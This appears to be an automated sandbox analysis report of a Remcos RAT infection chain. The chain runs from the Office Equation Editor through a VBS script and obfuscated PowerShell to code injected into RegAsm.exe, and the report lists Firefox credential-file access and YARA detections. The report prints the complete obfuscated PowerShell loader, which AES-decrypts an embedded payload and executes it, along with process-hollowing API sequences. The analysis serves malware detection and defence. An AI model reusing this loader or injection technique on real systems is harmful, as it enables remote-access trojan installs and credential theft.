            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Caches\Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Jump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEAPI call chain: ExitProcess graph end nodegraph_8-907
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeAPI call chain: ExitProcess graph end node
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_004349F9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,13_2_0040DD85
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,12_2_0041CB50
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_00330A00 mov edx, dword ptr fs:[00000030h]8_2_00330A00
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004432B5 mov eax, dword ptr fs:[00000030h]12_2_004432B5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_10004AB4 mov eax, dword ptr fs:[00000030h]12_2_10004AB4
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00411CFE SetLastError,GetNativeSystemInfo,SetLastError,GetProcessHeap,HeapAlloc,SetLastError,12_2_00411CFE
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00434B47 SetUnhandledExceptionFilter,12_2_00434B47
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_004349F9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_0043BB22
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,12_2_00434FDC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_100060E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_100060E2
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_10002639 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_10002639
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_10002B1C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,12_2_10002B1C

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Yara detected Powershell download and execute
            Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3520, type: MEMORYSTR
            Contains functionality to inject code into remote processes
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004180EF GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetModuleHandleA,GetProcAddress,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,12_2_004180EF
            Injects a PE file into a foreign processes
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5AJump to behavior
            Maps a DLL or memory area into another process
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and writeJump to behavior
            Writes to foreign memory regions
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 7EFDE008Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe12_2_004120F7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00419627 mouse_event,12_2_00419627
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" Jump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\lbvlkbmzmwfnyoxgjysjrgc"Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\vvawltxaiexsactkaincctxyki"Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yxfommiuwmpxlihojtzefxrplotjp"Jump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni16942742004897547110020442916503cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cniaiyj4w4pdxrjybtpe+kcmxai0n0wfrewtqqo6ll9vcemso5/wu4wu8dficwqoqgghunsdgf18ada181zl+9aimrygbbhoql1xtrlupeyomibgkdw5hx/pyeqs0jw3vh2+cyhtxzw4maxppvkui6guliz8desop8ywwp+kl3lpnxuvod/qbkfflwtqldasslauzjbizi2g2z8ngqwpbshstgk8ixwe1n31tdvyvkp3t5t5wy1hmud74k+ymoudrhg5myz3dusqcna3ijfjlebg/zio/kcvqgjgfjjv8ugk/yy2p5oa+5qfogc8iixuoiniopayztidkvoogmbgfmbkku0xgvqmjjkcymtejtarogt9ayzx/ed96flgwk+okfu0gpy3zgarb0lj0uoulymaynqjjj3ofvs7de8jjcteqbknfr/caolbilhsynqwsogsdhrrvf5yyzmpm83vqh06v2szjv2yab9lsahigxjwtu+c0ovhz5vdqtl/xa+xpgcscc3s+9s4ottmjqd+y6ogggjtzyrp3pnltgtugxgv6fddehpsu/xdy/8gaxcgujh9mr8gb130pu+0ybw9hdbq2iwvdvhvmv9qexc/zgzm2wkprsh6kwtabvqcmsp7v0n0die/lfstsbi95dayr1r09j361kgvwhjfgtsyjktizxk3kjr8ned9ctp7hr1sis66dd0gkngvgibm3hqi4l/jbulztldoquscmtpojbmvvd+mpgtoxpgctnjjimltyvvp67c5k3tf8ib1o6pkqeqcxhq5hyr1qq3eq0hjl5zncjy/sut8qdltfucum3xrlxaeh032mipclizjhwfgmosjskijlds99v3vtpgcxzznxnns2du/73nt4uyfnd4j7+i54btgng1g4j6a5nhvo9kkofs0c0denf7cridemf7psj0injztc2arct3aejt3zvjwcbykoykpppt5njp0jlb5ab1obzoo8ytyn1zek16qtxf/udhcfshjs/b3tfxkd2trnhujolv+fes7istg3tpoffvrigpqfl4iglpip2k7alwxezhax+w9ftnkh054aimueyzsp0jtvg2vjbq1oafoqjhbvwqgkaazrnd+6l+lgqp6asijm8ttew0nyudisw5x5js0lelejrfsismbujrdpew/2ol5tavipcwawwofdzk+coq0ni1bv4ecz4/itbc8rsv1s7k18zvjwbyhmimm9irxaprgzkscaodhtkxf53rnwycy7cipt+8od/n5oytyzcvj7sdqkql5dqbvs23f23qxjw9fayzgdfz8roqgg9trdb2fyyffhpkwcgrn8f9ld4f+xjt70yid/tbdb3duwezhvgmnsbmoaw6o9dawkzehdjcdtozpnsktye26n8cig+nrxd0lhn5rbg3mlzmew==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni16942742004897547110020442916503cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cniaiyj4w4pdxrjybtpe+kcmxai0n0wfrewtqqo6ll9vcemso5/wu4wu8dficwqoqgghunsdgf18ada181zl+9aimrygbbhoql1xtrlupeyomibgkdw5hx/pyeqs0jw3vh2+cyhtxzw4maxppvkui6guliz8desop8ywwp+kl3lpnxuvod/qbkfflwtqldasslauzjbizi2g2z8ngqwpbshstgk8ixwe1n31tdvyvkp3t5t5wy1hmud74k+ymoudrhg5myz3dusqcna3ijfjlebg/zio/kcvqgjgfjjv8ugk/yy2p5oa+5qfogc8iixuoiniopayztidkvoogmbgfmbkku0xgvqmjjkcymtejtarogt9ayzx/ed96flgwk+okfu0gpy3zgarb0lj0uoulymaynqjjj3ofvs7de8jjcteqbknfr/caolbilhsynqwsogsdhrrvf5yyzmpm83vqh06v2szjv2yab9lsahigxjwtu+c0ovhz5vdqtl/xa+xpgcscc3s+9s4ottmjqd+y6ogggjtzyrp3pnltgtugxgv6fddehpsu/xdy/8gaxcgujh9mr8gb130pu+0ybw9hdbq2iwvdvhvmv9qexc/zgzm2wkprsh6kwtabvqcmsp7v0n0die/lfstsbi95dayr1r09j361kgvwhjfgtsyjktizxk3kjr8ned9ctp7hr1sis66dd0gkngvgibm3hqi4l/jbulztldoquscmtpojbmvvd+mpgtoxpgctnjjimltyvvp67c5k3tf8ib1o6pkqeqcxhq5hyr1qq3eq0hjl5zncjy/sut8qdltfucum3xrlxaeh032mipclizjhwfgmosjskijlds99v3vtpgcxzznxnns2du/73nt4uyfnd4j7+i54btgng1g4j6a5nhvo9kkofs0c0denf7cridemf7psj0injztc2arct3aejt3zvjwcbykoykpppt5njp0jlb5ab1obzoo8ytyn1zek16qtxf/udhcfshjs/b3tfxkd2trnhujolv+fes7istg3tpoffvrigpqfl4iglpip2k7alwxezhax+w9ftnkh054aimueyzsp0jtvg2vjbq1oafoqjhbvwqgkaazrnd+6l+lgqp6asijm8ttew0nyudisw5x5js0lelejrfsismbujrdpew/2ol5tavipcwawwofdzk+coq0ni1bv4ecz4/itbc8rsv1s7k18zvjwbyhmimm9irxaprgzkscaodhtkxf53rnwycy7cipt+8od/n5oytyzcvj7sdqkql5dqbvs23f23qxjw9fayzgdfz8roqgg9trdb2fyyffhpkwcgrn8f9ld4f+xjt70yid/tbdb3duwezhvgmnsbmoaw6o9dawkzehdjcdtozpnsktye26n8cig+nrxd0lhn5rbg3mlzmew==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crepJump to behavior
            Source: RegAsm.exe, 0000000C.00000002.970330379.00000000008F0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
            Source: RegAsm.exe, 0000000C.00000002.970273090.00000000008B1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerChromeibility Mode] - Microsoft Word
            Source: RegAsm.exe, 0000000C.00000002.970273090.00000000008B1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |Program Manager|
            Source: RegAsm.exe, 0000000C.00000002.970330379.00000000008F0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.970273090.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, logs.dat.12.drBinary or memory string: [Program Manager]
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00434C52 cpuid 12_2_00434C52
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,12_2_00452036
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,12_2_004520C3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,12_2_00452313
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,12_2_00448404
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,12_2_0045243C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,12_2_00452543
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,12_2_00452610
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoA,12_2_0040F8D1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,12_2_004488ED
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: IsValidCodePage,GetLocaleInfoW,12_2_00451CD8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,12_2_00451F50
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,12_2_00451F9B
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00448957 GetSystemTimeAsFileTime,12_2_00448957
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041B60D GetComputerNameExW,GetUserNameW,12_2_0041B60D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00449190 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,12_2_00449190
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0041739B GetVersionExW,13_2_0041739B
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

            Stealing of Sensitive Information

            barindex
            Yara detected Remcos RAT
            Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 10.2.powershell.exe.44ad080.0.raw.unpack, type: UNPACKEDPE
